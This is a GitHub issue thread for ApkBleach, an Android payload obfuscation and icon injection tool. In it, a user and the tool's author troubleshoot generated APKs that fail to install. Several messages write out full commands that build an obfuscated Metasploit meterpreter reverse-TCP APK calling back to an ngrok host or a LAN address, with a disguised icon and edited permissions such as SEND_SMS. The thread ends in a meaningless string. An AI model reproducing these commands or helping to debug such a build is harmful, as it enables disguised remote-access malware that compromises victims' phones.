graylagx2 / ApkBleach

Android Payload obfuscation and icon injection tool
GNU General Public License v3.0
62 stars 28 forks source link

An error occurred during package analysis #9

Open legilimency31 opened 2 years ago

legilimency31 commented 2 years ago

Following the recomendewd usage in the description with ngrok, the apk is generated, but when i try to install it on the android(6) , it says An error occurred during package analysis.

apkbleach -g android/meterpreter/reverse_tcp LHOST=ngrok_host LPORT=ngrok_port -s 3 -i BLEACH_settings --edit-permissions -o tst.apk output :


                                                      Version: 2.0   Author: graylagx2                                                                    

Payload generated [*]                                                                                                                                               

Apk decompiled [*]                                                                                                                                                  

Apk bleached [*]                                                           ons editor [*]                                                                           

Icon injected [*]                                                                                                                                                   
                                                                           mission.WAKE_LOCK                                                                        
Rebuilding apk [|]                                                         rmission.SEND_SMS                                                                        
Apk rebuilt [*]                                                                                                                                                     
Choose [y/n] the default is [n]:                                                                                                                                    

[Complete]                                                                                                                                                          
                                                                       Apk saved as: tst.apk   
graylagx2 commented 2 years ago

Not familiar with using ngrok in conjunction can you try it with local host and local port to see if the same issue occurs.

On Thu, Feb 3, 2022 at 9:13 AM Harry @.***> wrote:

Following the recomendewd usage in the description with ngrok, the apk is generated, but when i try to install it on the android(6) , it says An error occurred during package analysis.

apkbleach -g android/meterpreter/reverse_tcp LHOST=ngrok_host LPORT=ngrok_port -s 3 -i BLEACH_settings --edit-permissions -o tst.apk output :

                                                  Version: 2.0   Author: graylagx2

Payload generated [*]

Apk decompiled [*]

Apk bleached [] ons editor []

Icon injected [] mission.WAKE_LOCK Rebuilding apk [|] rmission.SEND_SMS Apk rebuilt [] Choose [y/n] the default is [n]:

[Complete] Apk saved as: tst.apk

— Reply to this email directly, view it on GitHub https://github.com/graylagx2/ApkBleach/issues/9, or unsubscribe https://github.com/notifications/unsubscribe-auth/AMEUD27PQ5XJP7IX2H6TDXDUZKZSRANCNFSM5NPQUCPA . You are receiving this because you are subscribed to this thread.Message ID: @.***>

legilimency31 commented 2 years ago

@graylagx2

Just tried,
apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -i BLEACH_settings --edit-permissions -o tst3.apk and tested both apks (with ngrok and with local host) on android 6 and 10. For both apk versions, the android 10 says is not possible to install the apk on my device, and the android 6 says An error occurred during package analysis.

graylagx2 commented 2 years ago

To be honest I haven't updated this tool in a very long time so I may need to do some updates. However my last suspicion is the permissions your editing. Can you try it once more with out editing any permissions. This will help with future updates

On Thu, Feb 3, 2022 at 9:29 AM Harry @.***> wrote:

@graylagx2 https://github.com/graylagx2

Just tried, apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -i BLEACH_settings --edit-permissions -o tst3.apk and tested both apks (with ngrok and with local host) on android 6 and 10. For both apk versions, the android 10 says is not possible to install the apk on my device, and the android 6 says An error occurred during package analysis.

— Reply to this email directly, view it on GitHub https://github.com/graylagx2/ApkBleach/issues/9#issuecomment-1029227485, or unsubscribe https://github.com/notifications/unsubscribe-auth/AMEUD22INV47T6D6MZG56U3UZK3PPANCNFSM5NPQUCPA . You are receiving this because you were mentioned.Message ID: @.***>

legilimency31 commented 2 years ago

@graylagx2 tried : apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -i BLEACH_settings -o tst3.apk apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -o tst5.apk apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -o tst6.apk

Both android 6 and 10 displays the same mensage when i tried to install the 3 apks.

graylagx2 commented 2 years ago

Thanks I'll do some digging and get back to you

On Thu, Feb 3, 2022 at 9:49 AM Harry @.***> wrote:

@graylagx2 https://github.com/graylagx2 tried : apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -i BLEACH_settings -o tst3.apk apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -s 3 -o tst5.apk apkbleach -g android/meterpreter/reverse_tcp LHOST=192.168.1.108 LPORT=4444 -o tst6.apk

Both android 6 and 10 displays the same mensage when i tried to install the 3 apks.

— Reply to this email directly, view it on GitHub https://github.com/graylagx2/ApkBleach/issues/9#issuecomment-1029244382, or unsubscribe https://github.com/notifications/unsubscribe-auth/AMEUD23MVSJYPWLCUGZMC4DUZK5ZZANCNFSM5NPQUCPA . You are receiving this because you were mentioned.Message ID: @.***>

graylagx2 commented 1 year ago

MWPZmnBaXnjahXXHDQJmJxzktQGxbsqKUP